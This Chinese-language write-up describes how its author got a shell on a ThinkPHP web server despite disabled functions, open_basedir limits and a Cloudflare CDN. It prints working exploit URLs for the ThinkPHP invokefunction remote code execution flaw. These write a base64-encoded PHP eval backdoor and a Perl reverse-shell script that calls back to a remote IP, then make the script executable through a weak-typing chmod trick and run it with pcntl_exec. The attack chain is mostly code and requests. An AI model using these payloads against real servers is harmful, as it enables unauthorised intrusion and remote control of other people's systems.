passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server
发现没有pcntl_exec在里面,而且pcntl_exec开启
open_basedir限制
/home/wwwroot/example/:/tmp/:/proc/:/home/wwwroot/
根目录
/home/wwwroot/example/
包含函数失效(千奇百怪)
think\__include_file think\__require_file
0x01 突破
直接写php会写不进去,用php://filter base64encode包装一下写入,file_input_contents写php,发现public目录下没有任何可写目录,只有runtime和/tmp/目录下有写权限,php写进去了,但是没办法执行
/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=php://filter/write=convert.base64-decode/resource=/home/wwwroot/example/s.php&vars[1][]=PD9waHAKQGV2YWwoJF9HRVRbJ3IwMCddKTsKcmV0dXJuIFsnYXBwX2luaXQnICAgICA9PiBbXSwnYXBwX2JlZ2luJyAgICA9PiBbXSwnbW9kdWxlX2luaXQnICA9PiBbXSwnYWN0aW9uX2JlZ2luJyA9PiBbXSwndmlld19maWx0ZXInICA9PiBbXSwnbG9nX3dyaXRlJyAgICA9PiBbXSwnYXBwX2VuZCcgICAgICA9PiBbXTsKPz4=尝试直接用pcntl_exec执行命令 一直接传命令的方式,会被cloudflare拦截 二尝试用文件的方式执行,pcntl_exec反弹shell脚本
#!/usr/bin/perl -w # use strict; use Socket; use IO::Handle; my $remote_ip = 'xxx.xxx.xx.xx'; my $remote_port = '12345'; my $proto = getprotobyname("tcp"); my $pack_addr = sockaddr_in($remote_port, inet_aton($remote_ip)); my $shell = '/bin/sh -i'; socket(SOCK, AF_INET, SOCK_STREAM, $proto); STDOUT->autoflush(1); SOCK->autoflush(1); connect(SOCK,$pack_addr) or die "can not connect:$!"; open STDIN, "<&SOCK"; open STDOUT, ">&SOCK"; open STDERR, ">&SOCK"; system($shell); close SOCK; exit 0;
写入perl脚本到tmp目录,url编码一下,防止+号失效
/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=php://filter/write=convert.base64-decode/resource=/tmp/ss1.perl&vars[1][]=IyEvdXNyL2Jpbi9wZXJsIC13CiMKCnVzZSBzdHJpY3Q7ICAgIAp1c2UgU29ja2V0Owp1c2UgSU86OkhhbmRsZTsKCm15ICRyZW1vdGVfaXAgPSAnMTE5LjI5LjEuNDgnOwpteSAkcmVtb3RlX3BvcnQgPSAnMTIzNDUnOwpteSAkcHJvdG8gPSBnZXRwcm90b2J5bmFtZSgidGNwIik7Cm15ICRwYWNrX2FkZHIgPSBzb2NrYWRkcl9pbigkcmVtb3RlX3BvcnQsIGluZXRfYXRvbigkcmVtb3RlX2lwKSk7Cm15ICRzaGVsbCA9ICcvYmluL3NoIC1pJzsKc29ja2V0KFNPQ0ssIEFGX0lORVQsIFNPQ0tfU1RSRUFNLCAkcHJvdG8pOwpTVERPVVQtPmF1dG9mbHVzaCgxKTsKU09DSy0%2bYXV0b2ZsdXNoKDEpOwpjb25uZWN0KFNPQ0ssJHBhY2tfYWRkcikgb3IgZGllICJjYW4gbm90IGNvbm5lY3Q6JCEiOwpvcGVuIFNURElOLCAiPCZTT0NLIjsKb3BlbiBTVERPVVQsICI%2bJlNPQ0siOwpvcGVuIFNUREVSUiwgIj4mU09DSyI7CnN5c3RlbSgkc2hlbGwpOwpjbG9zZSBTT0NLOwpleGl0IDA7chmod 没法设置权限,默认没有执行权限,chmod第二个参数只能传八进制,但这里只能传字符串。但可以利用弱类型自动转换来 传入
字符串511-》十进制511 等同于八进制0755
/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=chmod&vars[1][]=/tmp/ss1.perl&vars[1][]=511
执行命令
/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=pcntl_exec&vars[1][]=/tmp/ss1.perl
由于有cdn,可能没生成成功,用intruder爆破批量生成维持一下,成功反弹shell
0x02 后续
反弹shell之后看了一下,发现根本没有public目录,这个/home/wwwroot/example就是根目录,很明显之前脑子出问题了 runtime目录是可以直接访问的,static/img目录下也是有权限的,直接利用file_input_contents写进去就完事了
因为cdn的问题,会访问不了,用intruder 设置null payloads批量生成一下,访问getshell
0x03 总结
拿下才发现,其实早之前就可以getshell了,之前已经写shell到runtime了,因为误判以为runtime目录访问不到,加上cdn的佐证,一直想着包含getshell,但包含不了。最后走上了pcntl_exec这条不归路 才导致后续这一系列瞎操作,但通过pcntl_exec反弹shell还是很香的,在web目录限制没有办法访问shell或者没地方写入的时候